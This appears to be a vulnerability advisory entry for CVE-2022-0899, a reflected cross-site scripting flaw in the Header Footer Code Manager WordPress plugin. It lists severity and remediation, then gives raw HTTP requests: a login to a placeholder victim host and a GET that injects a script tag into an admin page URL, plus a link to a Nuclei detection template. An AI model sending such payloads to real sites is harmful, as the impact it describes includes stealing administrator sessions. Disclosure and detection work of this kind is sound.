| Title | Header Footer Code Manager < 1.1.24 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript via reflected XSS in URL parameters, potentially stealing administrator session cookies or performing administrative actions. |
| Remediation | Upgrade to Header Footer Code Manager version 1.1.24 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.08267 |
| CVE ID | CVE-2022-0899 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve wpscan wp wp-plugin wordpress xss authenticated draftpress vuln |
The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=L9Kni2&pwd=AhiXNQ&wp-submit=Log+In
GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0899.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0899.pcap
N/AN/A